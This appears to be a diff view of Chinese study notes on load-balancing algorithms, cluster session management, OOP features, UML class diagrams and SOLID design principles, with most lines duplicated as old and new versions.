例如下图中,服务器 1 当前连接数最小,那么新到来的请求 6 就会被发送到服务器 1 上。
![](index_files/1f4a7f10-52b2-4bd7-a67d-a9581d66dc62.jpg)
<div align="center"> <img src="pics/1f4a7f10-52b2-4bd7-a67d-a9581d66dc62.jpg"/> </div><br>
### 4. 加权最少连接Weighted Least Connection
### 4. 加权最少连接Weighted Least Connection
在最少连接的基础上,根据服务器的性能为每台服务器分配权重,再根据权重计算出每台服务器能处理的连接数。
![](index_files/44edefb7-4b58-4519-b8ee-4aca01697b78.jpg)
<div align="center"> <img src="pics/44edefb7-4b58-4519-b8ee-4aca01697b78.jpg"/> </div><br>
### 5. 随机算法Random
### 5. 随机算法Random
把请求随机发送到服务器上。
和轮询算法类似,该算法比较适合服务器性能差不多的场景。
![](index_files/0ee0f61b-c782-441e-bf34-665650198ae0.jpg)
<div align="center"> <img src="pics/0ee0f61b-c782-441e-bf34-665650198ae0.jpg"/> </div><br>
### 6. 源地址哈希法 (IP Hash)
### 6. 源地址哈希法 (IP Hash)
源地址哈希通过对客户端 IP 计算哈希值之后,再对服务器数量取模得到目标服务器的序号。
源地址哈希通过对客户端 IP 计算哈希值之后,再对服务器数量取模得到目标服务器的序号。
可以保证同一 IP 的客户端的请求会转发到同一台服务器上用来实现会话粘滞Sticky Session
可以保证同一 IP 的客户端的请求会转发到同一台服务器上用来实现会话粘滞Sticky Session
![](index_files/2018040302.jpg)
<div align="center"> <img src="pics/2018040302.jpg"/> </div><br>
## 转发实现
## 转发实现
### 1. HTTP 重定向
### 1. HTTP 重定向
HTTP 重定向负载均衡服务器使用某种负载均衡算法计算得到服务器的 IP 地址之后将该地址写入 HTTP 重定向报文中状态码为 302。客户端收到重定向报文之后需要重新向服务器发起请求。
HTTP 重定向负载均衡服务器使用某种负载均衡算法计算得到服务器的 IP 地址之后,将该地址写入 HTTP 重定向报文中,状态码为 302。客户端收到重定向报文之后需要重新向服务器发起请求。
缺点:
- 需要两次请求,因此访问延迟比较高;
- HTTP 负载均衡器处理能力有限,会限制集群的规模。
- 需要两次请求,因此访问延迟比较高;
- HTTP 负载均衡器处理能力有限,会限制集群的规模。
该负载均衡转发的缺点比较明显,实际场景中很少使用它。
![](index_files/c5f611f0-fd5c-4158-9003-278141136e6e.jpg)
<div align="center"> <img src="pics/c5f611f0-fd5c-4158-9003-278141136e6e.jpg"/> </div><br>
### 2. DNS 域名解析
### 2. DNS 域名解析
 DNS 解析域名的同时使用负载均衡算法计算服务器 IP 地址。
DNS 解析域名的同时使用负载均衡算法计算服务器 IP 地址。
优点:
- DNS 能够根据地理位置进行域名解析返回离用户最近的服务器 IP 地址。
- DNS 能够根据地理位置进行域名解析,返回离用户最近的服务器 IP 地址。
缺点:
- 由于 DNS 具有多级结构,每一级的域名记录都可能被缓存,当下线一台服务器需要修改 DNS 记录时,需要过很长一段时间才能生效。
- 由于 DNS 具有多级结构,每一级的域名记录都可能被缓存,当下线一台服务器需要修改 DNS 记录时,需要过很长一段时间才能生效。
大型网站基本使用了 DNS 做为第一级负载均衡手段,然后在内部使用其它方式做第二级负载均衡。也就是说,域名解析的结果为内部的负载均衡服务器 IP 地址。
大型网站基本使用了 DNS 做为第一级负载均衡手段,然后在内部使用其它方式做第二级负载均衡。也就是说,域名解析的结果为内部的负载均衡服务器 IP 地址。
![](index_files/76a25fc8-a579-4d7c-974b-7640b57fbf39.jpg)
<div align="center"> <img src="pics/76a25fc8-a579-4d7c-974b-7640b57fbf39.jpg"/> </div><br>
### 3. 反向代理服务器
### 3. 反向代理服务器
反向代理服务器位于源服务器前面,用户的请求需要先经过反向代理服务器才能到达源服务器。反向代理可以用来进行缓存、日志记录等,同时也可以用来做为负载均衡服务器。
在这种负载均衡转发方式下,客户端不直接请求源服务器,因此源服务器不需要外部 IP 地址而反向代理需要配置内部和外部两套 IP 地址。
在这种负载均衡转发方式下,客户端不直接请求源服务器,因此源服务器不需要外部 IP 地址,而反向代理需要配置内部和外部两套 IP 地址。
优点:
- 与其它功能集成在一起,部署简单。
- 与其它功能集成在一起,部署简单。
缺点:
- 所有请求和响应都需要经过反向代理服务器,它可能会成为性能瓶颈。
- 所有请求和响应都需要经过反向代理服务器,它可能会成为性能瓶颈。
### 4. 网络层
### 4. 网络层
在操作系统内核进程获取网络数据包,根据负载均衡算法计算源服务器的 IP 地址并修改请求数据包的目的 IP 地址,最后进行转发。
在操作系统内核进程获取网络数据包,根据负载均衡算法计算源服务器的 IP 地址,并修改请求数据包的目的 IP 地址,最后进行转发。
源服务器返回的响应也需要经过负载均衡服务器,通常是让负载均衡服务器同时作为集群的网关服务器来实现。
优点:
- 在内核进程中进行处理,性能比较高。
- 在内核进程中进行处理,性能比较高。
缺点:
- 和反向代理一样,所有的请求和响应都经过负载均衡服务器,会成为性能瓶颈。
- 和反向代理一样,所有的请求和响应都经过负载均衡服务器,会成为性能瓶颈。
### 5. 链路层
### 5. 链路层
在链路层根据负载均衡算法计算源服务器的 MAC 地址并修改请求数据包的目的 MAC 地址,并进行转发。
在链路层根据负载均衡算法计算源服务器的 MAC 地址,并修改请求数据包的目的 MAC 地址,并进行转发。
通过配置源服务器的虚拟 IP 地址和负载均衡服务器的 IP 地址一致从而不需要修改 IP 地址就可以进行转发。也正因为 IP 地址一样,所以源服务器的响应不需要转发回负载均衡服务器,可以直接转发给客户端,避免了负载均衡服务器的成为瓶颈。
通过配置源服务器的虚拟 IP 地址和负载均衡服务器的 IP 地址一致,从而不需要修改 IP 地址就可以进行转发。也正因为 IP 地址一样,所以源服务器的响应不需要转发回负载均衡服务器,可以直接转发给客户端,避免了负载均衡服务器的成为瓶颈。
这是一种三角传输模式,被称为直接路由。对于提供下载和视频服务的网站来说,直接路由避免了大量的网络传输数据经过负载均衡服务器。
这是目前大型网站使用最广负载均衡转发方式,在 Linux 平台可以使用的负载均衡服务器为 LVSLinux Virtual Server
这是目前大型网站使用最广负载均衡转发方式,在 Linux 平台可以使用的负载均衡服务器为 LVSLinux Virtual Server
参考:
- [Comparing Load Balancing Algorithms](http://www.jscape.com/blog/load-balancing-algorithms)
- [Redirection and Load Balancing](http://slideplayer.com/slide/6599069/#)
- [Comparing Load Balancing Algorithms](http://www.jscape.com/blog/load-balancing-algorithms)
- [Redirection and Load Balancing](http://slideplayer.com/slide/6599069/#)
# 二、集群下的 Session 管理
# 二、集群下的 Session 管理
一个用户的 Session 信息如果存储在一个服务器上,那么当负载均衡器把用户的下一个请求转发到另一个服务器,由于服务器没有用户的 Session 信息,那么该用户就需要重新进行登录等操作。
一个用户的 Session 信息如果存储在一个服务器上,那么当负载均衡器把用户的下一个请求转发到另一个服务器,由于服务器没有用户的 Session 信息,那么该用户就需要重新进行登录等操作。
## Sticky Session
## Sticky Session
需要配置负载均衡器,使得一个用户的所有请求都路由到同一个服务器,这样就可以把用户的 Session 存放在该服务器中。
需要配置负载均衡器,使得一个用户的所有请求都路由到同一个服务器,这样就可以把用户的 Session 存放在该服务器中。
缺点:
- 当服务器宕机时,将丢失该服务器上的所有 Session。
- 当服务器宕机时,将丢失该服务器上的所有 Session。
![](index_files/MultiNode-StickySessions.jpg)
<div align="center"> <img src="pics/MultiNode-StickySessions.jpg"/> </div><br>
## Session Replication
## Session Replication
在服务器之间进行 Session 同步操作每个服务器都有所有用户的 Session 信息,因此用户可以向任何一个服务器进行请求。
在服务器之间进行 Session 同步操作,每个服务器都有所有用户的 Session 信息,因此用户可以向任何一个服务器进行请求。
缺点:
- 占用过多内存;
- 同步过程占用网络带宽以及服务器处理器时间。
- 占用过多内存;
- 同步过程占用网络带宽以及服务器处理器时间。
![](index_files/MultiNode-SessionReplication.jpg)
<div align="center"> <img src="pics/MultiNode-SessionReplication.jpg"/> </div><br>
## Session Server
## Session Server
使用一个单独的服务器存储 Session 数据可以使用传统的 MySQL也使用 Redis 或者 Memcached 这种内存型数据库。
使用一个单独的服务器存储 Session 数据,可以使用传统的 MySQL也使用 Redis 或者 Memcached 这种内存型数据库。
优点:
- 为了使得大型网站具有伸缩性集群中的应用服务器通常需要保持无状态那么应用服务器不能存储用户的会话信息。Session Server 将用户的会话信息单独进行存储,从而保证了应用服务器的无状态。
- 为了使得大型网站具有伸缩性集群中的应用服务器通常需要保持无状态那么应用服务器不能存储用户的会话信息。Session Server 将用户的会话信息单独进行存储,从而保证了应用服务器的无状态。
缺点:
- 需要去实现存取 Session 的代码。
- 需要去实现存取 Session 的代码。
![](index_files/MultiNode-SpringSession.jpg)
<div align="center"> <img src="pics/MultiNode-SpringSession.jpg"/> </div><br>
参考:
- [Session Management using Spring Session with JDBC DataStore](https://sivalabs.in/2018/02/session-management-using-spring-session-jdbc-datastore/)
- [Session Management using Spring Session with JDBC DataStore](https://sivalabs.in/2018/02/session-management-using-spring-session-jdbc-datastore/)

View File

@ -1,340 +1,360 @@
# 一、三大特性
[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
<!-- GFM-TOC -->
* [一、三大特性](#一三大特性)
* [封装](#封装)
* [继承](#继承)
* [多态](#多态)
* [二、类图](#二类图)
* [泛化关系 (Generalization)](#泛化关系-generalization)
* [实现关系 (Realization)](#实现关系-realization)
* [聚合关系 (Aggregation)](#聚合关系-aggregation)
* [组合关系 (Composition)](#组合关系-composition)
* [关联关系 (Association)](#关联关系-association)
* [依赖关系 (Dependency)](#依赖关系-dependency)
* [三、设计原则](#三设计原则)
* [S.O.L.I.D](#solid)
* [其他常见原则](#其他常见原则)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
## 封装
# 一、三大特性
## 封装
利用抽象数据类型将数据和基于数据的操作封装在一起,使其构成一个不可分割的独立实体。数据被保护在抽象数据类型的内部,尽可能地隐藏内部的细节,只保留一些对外接口使之与外部发生联系。用户无需知道对象内部的细节,但可以通过对象对外提供的接口来访问该对象。
优点:
- 减少耦合:可以独立地开发、测试、优化、使用、理解和修改
- 减轻维护的负担:可以更容易被程序员理解,并且在调试的时候可以不影响其他模块
- 有效地调节性能:可以通过剖析确定哪些模块影响了系统的性能
- 提高软件的可重用性
- 降低了构建大型系统的风险:即使整个系统不可用,但是这些独立的模块却有可能是可用的
- 减少耦合:可以独立地开发、测试、优化、使用、理解和修改
- 减轻维护的负担:可以更容易被程序员理解,并且在调试的时候可以不影响其他模块
- 有效地调节性能:可以通过剖析确定哪些模块影响了系统的性能
- 提高软件的可重用性
- 降低了构建大型系统的风险:即使整个系统不可用,但是这些独立的模块却有可能是可用的
以下 Person 类封装 name、gender、age 等属性外界只能通过 get() 方法获取一个 Person 对象的 name 属性和 gender 属性而无法获取 age 属性但是 age 属性可以供 work() 方法使用。
以下 Person 类封装 name、gender、age 等属性,外界只能通过 get() 方法获取一个 Person 对象的 name 属性和 gender 属性,而无法获取 age 属性,但是 age 属性可以供 work() 方法使用。
注意到 gender 属性使用 int 数据类型进行存储封装使得用户注意不到这种实现细节。并且在需要修改 gender 属性使用的数据类型时也可以在不影响客户端代码的情况下进行。
注意到 gender 属性使用 int 数据类型进行存储,封装使得用户注意不到这种实现细节。并且在需要修改 gender 属性使用的数据类型时,也可以在不影响客户端代码的情况下进行。
```java
public class Person {
public class Person {
    private String name;
    private int gender;
    private int age;
private String name;
private int gender;
private int age;
    public String getName() {
        return name;
    }
public String getName() {
return name;
}
    public String getGender() {
        return gender == 0 ? "man" : "woman";
    }
public String getGender() {
return gender == 0 ? "man" : "woman";
}
    public void work() {
        if (18 <= age && age <= 50) {
            System.out.println(name + " is working very hard!");
        } else {
            System.out.println(name + " can't work any more!");
        }
    }
public void work() {
if (18 <= age && age <= 50) {
System.out.println(name + " is working very hard!");
} else {
System.out.println(name + " can't work any more!");
}
}
}
```
## 继承
## 继承
继承实现了 **IS-A** 关系例如 Cat  Animal 就是一种 IS-A 关系因此 Cat 可以继承自 Animal从而获得 Animal  private 的属性和方法。
继承实现了 **IS-A** 关系,例如 Cat 和 Animal 就是一种 IS-A 关系,因此 Cat 可以继承自 Animal从而获得 Animal 非 private 的属性和方法。
继承应该遵循里氏替换原则,子类对象必须能够替换掉所有父类对象。
Cat 可以当做 Animal 来使用也就是说可以使用 Animal 引用 Cat 对象。父类引用指向子类对象称为 **向上转型**
Cat 可以当做 Animal 来使用,也就是说可以使用 Animal 引用 Cat 对象。父类引用指向子类对象称为 **向上转型**
```java
Animal animal = new Cat();
Animal animal = new Cat();
```
## 多态
## 多态
多态分为编译时多态和运行时多态:
- 编译时多态主要指方法的重载
- 运行时多态指程序中定义的对象引用所指向的具体类型在运行期间才确定
- 编译时多态主要指方法的重载
- 运行时多态指程序中定义的对象引用所指向的具体类型在运行期间才确定
运行时多态有三个条件:
- 继承
- 覆盖(重写)
- 向上转型
- 继承
- 覆盖(重写)
- 向上转型
下面的代码中乐器类Instrument有两个子类Wind  Percussion它们都覆盖了父类的 play() 方法并且在 main() 方法中使用父类 Instrument 来引用 Wind  Percussion 对象。在 Instrument 引用调用 play() 方法时会执行实际引用对象所在类的 play() 方法而不是 Instrument 类的方法。
下面的代码中乐器类Instrument有两个子类Wind 和 Percussion它们都覆盖了父类的 play() 方法,并且在 main() 方法中使用父类 Instrument 来引用 Wind 和 Percussion 对象。在 Instrument 引用调用 play() 方法时,会执行实际引用对象所在类的 play() 方法,而不是 Instrument 类的方法。
```java
public class Instrument {
public class Instrument {
    public void play() {
        System.out.println("Instument is playing...");
    }
public void play() {
System.out.println("Instument is playing...");
}
}
public class Wind extends Instrument {
public class Wind extends Instrument {
    public void play() {
        System.out.println("Wind is playing...");
    }
public void play() {
System.out.println("Wind is playing...");
}
}
public class Percussion extends Instrument {
public class Percussion extends Instrument {
    public void play() {
        System.out.println("Percussion is playing...");
    }
public void play() {
System.out.println("Percussion is playing...");
}
}
public class Music {
public class Music {
    public static void main(String[] args) {
        List<Instrument> instruments = new ArrayList<>();
        instruments.add(new Wind());
        instruments.add(new Percussion());
        for(Instrument instrument : instruments) {
            instrument.play();
        }
    }
public static void main(String[] args) {
List<Instrument> instruments = new ArrayList<>();
instruments.add(new Wind());
instruments.add(new Percussion());
for(Instrument instrument : instruments) {
instrument.play();
}
}
}
```
# 二、类图
# 二、类图
以下类图使用 [PlantUML](https://www.planttext.com/) 绘制更多语法及使用请参考http://plantuml.com/ 
以下类图使用 [PlantUML](https://www.planttext.com/) 绘制更多语法及使用请参考http://plantuml.com/
## 泛化关系 (Generalization)
## 泛化关系 (Generalization)
用来描述继承关系,在 Java 中使用 extends 关键字。
用来描述继承关系,在 Java 中使用 extends 关键字。
![](index_files/SoWkIImgAStDuU8goIp9ILLmJyrBBKh.png)
<div align="center"> <img src="pics/SoWkIImgAStDuU8goIp9ILLmJyrBBKh.png"/> </div><br>
```text
@startuml
title Generalization
title Generalization
class Vihical
class Car
class Trunck
class Vihical
class Car
class Trunck
Vihical <|-- Car
Vihical <|-- Trunck
Vihical <|-- Car
Vihical <|-- Trunck
@enduml
```
## 实现关系 (Realization)
## 实现关系 (Realization)
用来实现一个接口,在 Java 中使用 implements 关键字。
用来实现一个接口,在 Java 中使用 implements 关键字。
![](index_files/SoWkIImgAStDuU8goIp9ILK8IatCoQn.png)
<div align="center"> <img src="pics/SoWkIImgAStDuU8goIp9ILK8IatCoQn.png"/> </div><br>
```text
@startuml
title Realization
title Realization
interface MoveBehavior
class Fly
class Run
interface MoveBehavior
class Fly
class Run
MoveBehavior <|.. Fly
MoveBehavior <|.. Run
MoveBehavior <|.. Fly
MoveBehavior <|.. Run
@enduml
```
## 聚合关系 (Aggregation)
## 聚合关系 (Aggregation)
表示整体由部分组成,但是整体和部分不是强依赖的,整体不存在了部分还是会存在。
![](index_files/SoWkIImgAStDuU8goIp9ILLmJ4ylIar.png)
<div align="center"> <img src="pics/SoWkIImgAStDuU8goIp9ILLmJ4ylIar.png"/> </div><br>
```text
@startuml
title Aggregation
title Aggregation
class Computer
class Keyboard
class Mouse
class Screen
class Computer
class Keyboard
class Mouse
class Screen
Computer o-- Keyboard
Computer o-- Mouse
Computer o-- Screen
Computer o-- Keyboard
Computer o-- Mouse
Computer o-- Screen
@enduml
```
## 组合关系 (Composition)
## 组合关系 (Composition)
和聚合不同,组合中整体和部分是强依赖的,整体不存在了部分也不存在了。比如公司和部门,公司没了部门就不存在了。但是公司和员工就属于聚合关系了,因为公司没了员工还在。
![](index_files/SoWkIImgAStDuU8goIp9ILLmpiyjo2_.png)
<div align="center"> <img src="pics/SoWkIImgAStDuU8goIp9ILLmpiyjo2_.png"/> </div><br>
```text
@startuml
title Composition
title Composition
class Company
class DepartmentA
class DepartmentB
class Company
class DepartmentA
class DepartmentB
Company *-- DepartmentA
Company *-- DepartmentB
Company *-- DepartmentA
Company *-- DepartmentB
@enduml
```
## 关联关系 (Association)
## 关联关系 (Association)
表示不同类对象之间有关联,这是一种静态关系,与运行过程的状态无关,在最开始就可以确定。因此也可以用 1  1、多对 1、多对多这种关联关系来表示。比如学生和学校就是一种关联关系一个学校可以有很多学生但是一个学生只属于一个学校因此这是一种多对一的关系在运行开始之前就可以确定。
表示不同类对象之间有关联,这是一种静态关系,与运行过程的状态无关,在最开始就可以确定。因此也可以用 1 对 1、多对 1、多对多这种关联关系来表示。比如学生和学校就是一种关联关系一个学校可以有很多学生但是一个学生只属于一个学校因此这是一种多对一的关系在运行开始之前就可以确定。
![](index_files/SoWkIImgAStDuU8goIp9ILLmB2xEJyv.png)
<div align="center"> <img src="pics/SoWkIImgAStDuU8goIp9ILLmB2xEJyv.png"/> </div><br>
```text
@startuml
title Association
title Association
class School
class Student
class School
class Student
School "1" - "n" Student
School "1" - "n" Student
@enduml
```
## 依赖关系 (Dependency)
## 依赖关系 (Dependency)
和关联关系不同的是依赖关系是在运行过程中起作用的。A 类和 B 类是依赖关系主要有三种形式:
和关联关系不同的是依赖关系是在运行过程中起作用的。A 类和 B 类是依赖关系主要有三种形式:
- A 类是 B 类方法的局部变量;
- A 类是 B 类方法当中的一个参数;
- A 类向 B 类发送消息从而影响 B 类发生变化。
- A 类是 B 类方法的局部变量;
- A 类是 B 类方法当中的一个参数;
- A 类向 B 类发送消息,从而影响 B 类发生变化。
![](index_files/LOun2W9134NxVugmbJPp15d4LalxC4O.png)
<div align="center"> <img src="pics/LOun2W9134NxVugmbJPp15d4LalxC4O.png"/> </div><br>
```text
@startuml
title Dependency
title Dependency
class Vihicle {
    move(MoveBehavior)
class Vihicle {
move(MoveBehavior)
}
interface MoveBehavior {
    move()
interface MoveBehavior {
move()
}
note "MoveBehavior.move()" as N
note "MoveBehavior.move()" as N
Vihicle ..> MoveBehavior
Vihicle ..> MoveBehavior
Vihicle .. N
Vihicle .. N
@enduml
```
# 三、设计原则
# 三、设计原则
## S.O.L.I.D
## S.O.L.I.D
| 简写 | 全拼 | 中文翻译 |
| :--: | :--: | :--: |
| SRP | The Single Responsibility Principle    | 单一责任原则 |
| OCP | The Open Closed Principle              | 开放封闭原则 |
| LSP | The Liskov Substitution Principle      | 里氏替换原则 |
| ISP | The Interface Segregation Principle    | 接口分离原则 |
| DIP | The Dependency Inversion Principle     | 依赖倒置原则 |
| 简写 | 全拼 | 中文翻译 |
| :--: | :--: | :--: |
| SRP | The Single Responsibility Principle | 单一责任原则 |
| OCP | The Open Closed Principle | 开放封闭原则 |
| LSP | The Liskov Substitution Principle | 里氏替换原则 |
| ISP | The Interface Segregation Principle | 接口分离原则 |
| DIP | The Dependency Inversion Principle | 依赖倒置原则 |
### 1. 单一责任原则
### 1. 单一责任原则
> 修改一个类的原因应该只有一个。
> 修改一个类的原因应该只有一个。
换句话说就是让一个类只负责一件事,当这个类需要做过多事情的时候,就需要分解这个类。
如果一个类承担的职责过多,就等于把这些职责耦合在了一起,一个职责的变化可能会削弱这个类完成其它职责的能力。
### 2. 开放封闭原则
### 2. 开放封闭原则
> 类应该对扩展开放,对修改关闭。
> 类应该对扩展开放,对修改关闭。
扩展就是添加新功能的意思,因此该原则要求在添加新功能时不需要修改代码。
符合开闭原则最典型的设计模式是装饰者模式,它可以动态地将责任附加到对象上,而不用去修改类的代码。
### 3. 里氏替换原则
### 3. 里氏替换原则
> 子类对象必须能够替换掉所有父类对象。
> 子类对象必须能够替换掉所有父类对象。
继承是一种 IS-A 关系,子类需要能够当成父类来使用,并且需要比父类更特殊。
继承是一种 IS-A 关系,子类需要能够当成父类来使用,并且需要比父类更特殊。
如果不满足这个原则,那么各个子类的行为上就会有很大差异,增加继承体系的复杂度。
### 4. 接口分离原则
### 4. 接口分离原则
> 不应该强迫客户依赖于它们不用的方法。
> 不应该强迫客户依赖于它们不用的方法。
因此使用多个专门的接口比使用单一的总接口要好。
### 5. 依赖倒置原则
### 5. 依赖倒置原则
> 高层模块不应该依赖于低层模块,二者都应该依赖于抽象;</br>抽象不应该依赖于细节,细节应该依赖于抽象。
> 高层模块不应该依赖于低层模块,二者都应该依赖于抽象;</br>抽象不应该依赖于细节,细节应该依赖于抽象。
高层模块包含一个应用程序中重要的策略选择和业务模块,如果高层模块依赖于低层模块,那么低层模块的改动就会直接影响到高层模块,从而迫使高层模块也需要改动。
依赖于抽象意味着:
- 任何变量都不应该持有一个指向具体类的指针或者引用;
- 任何类都不应该从具体类派生;
- 任何方法都不应该覆写它的任何基类中的已经实现的方法。
- 任何变量都不应该持有一个指向具体类的指针或者引用;
- 任何类都不应该从具体类派生;
- 任何方法都不应该覆写它的任何基类中的已经实现的方法。
## 其他常见原则
## 其他常见原则
除了上述的经典原则,在实际开发中还有下面这些常见的设计原则。
| 简写    | 全拼    | 中文翻译 |
| :--: | :--: | :--: |
|LOD|    The Law of Demeter                   | 迪米特法则   |
|CRP|    The Composite Reuse Principle        | 合成复用原则 |
|CCP|    The Common Closure Principle         | 共同封闭原则 |
|SAP|    The Stable Abstractions Principle    | 稳定抽象原则 |
|SDP|    The Stable Dependencies Principle    | 稳定依赖原则 |
| 简写 | 全拼 | 中文翻译 |
| :--: | :--: | :--: |
|LOD| The Law of Demeter | 迪米特法则 |
|CRP| The Composite Reuse Principle | 合成复用原则 |
|CCP| The Common Closure Principle | 共同封闭原则 |
|SAP| The Stable Abstractions Principle | 稳定抽象原则 |
|SDP| The Stable Dependencies Principle | 稳定依赖原则 |
### 1. 迪米特法则
### 1. 迪米特法则
迪米特法则又叫作最少知识原则Least Knowledge Principle简写 LKP就是说一个对象应当对其他对象有尽可能少的了解不和陌生人说话。
迪米特法则又叫作最少知识原则Least Knowledge Principle简写 LKP就是说一个对象应当对其他对象有尽可能少的了解不和陌生人说话。
### 2. 合成复用原则
### 2. 合成复用原则
尽量使用对象组合,而不是通过继承来达到复用的目的。
### 3. 共同封闭原则
### 3. 共同封闭原则
一起修改的类,应该组合在一起(同一个包里)。如果必须修改应用程序里的代码,我们希望所有的修改都发生在一个包里(修改关闭),而不是遍布在很多包里。
### 4. 稳定抽象原则
### 4. 稳定抽象原则
最稳定的包应该是最抽象的包,不稳定的包应该是具体的包,即包的抽象程度跟它的稳定性成正比。
### 5. 稳定依赖原则
### 5. 稳定依赖原则
包之间的依赖关系都应该是稳定方向依赖的,包要依赖的包要比自己更具有稳定性。
# 参考资料
# 参考资料
- Java 编程思想
- 敏捷软件开发:原则、模式与实践
- [面向对象设计的 SOLID 原则](http://www.cnblogs.com/shanyou/archive/2009/09/21/1570716.html)
- [看懂 UML 类图和时序图](http://design-patterns.readthedocs.io/zh_CN/latest/read_uml.html#generalization)
- [UML 系列——时序图顺序图sequence diagram](http://www.cnblogs.com/wolf-sun/p/UML-Sequence-diagram.html)
- [面向对象编程三大特性 ------ 封装、继承、多态](http://blog.csdn.net/jianyuerensheng/article/details/51602015)
- Java 编程思想
- 敏捷软件开发:原则、模式与实践
- [面向对象设计的 SOLID 原则](http://www.cnblogs.com/shanyou/archive/2009/09/21/1570716.html)
- [看懂 UML 类图和时序图](http://design-patterns.readthedocs.io/zh_CN/latest/read_uml.html#generalization)
- [UML 系列——时序图顺序图sequence diagram](http://www.cnblogs.com/wolf-sun/p/UML-Sequence-diagram.html)
- [面向对象编程三大特性 ------ 封装、继承、多态](http://blog.csdn.net/jianyuerensheng/article/details/51602015)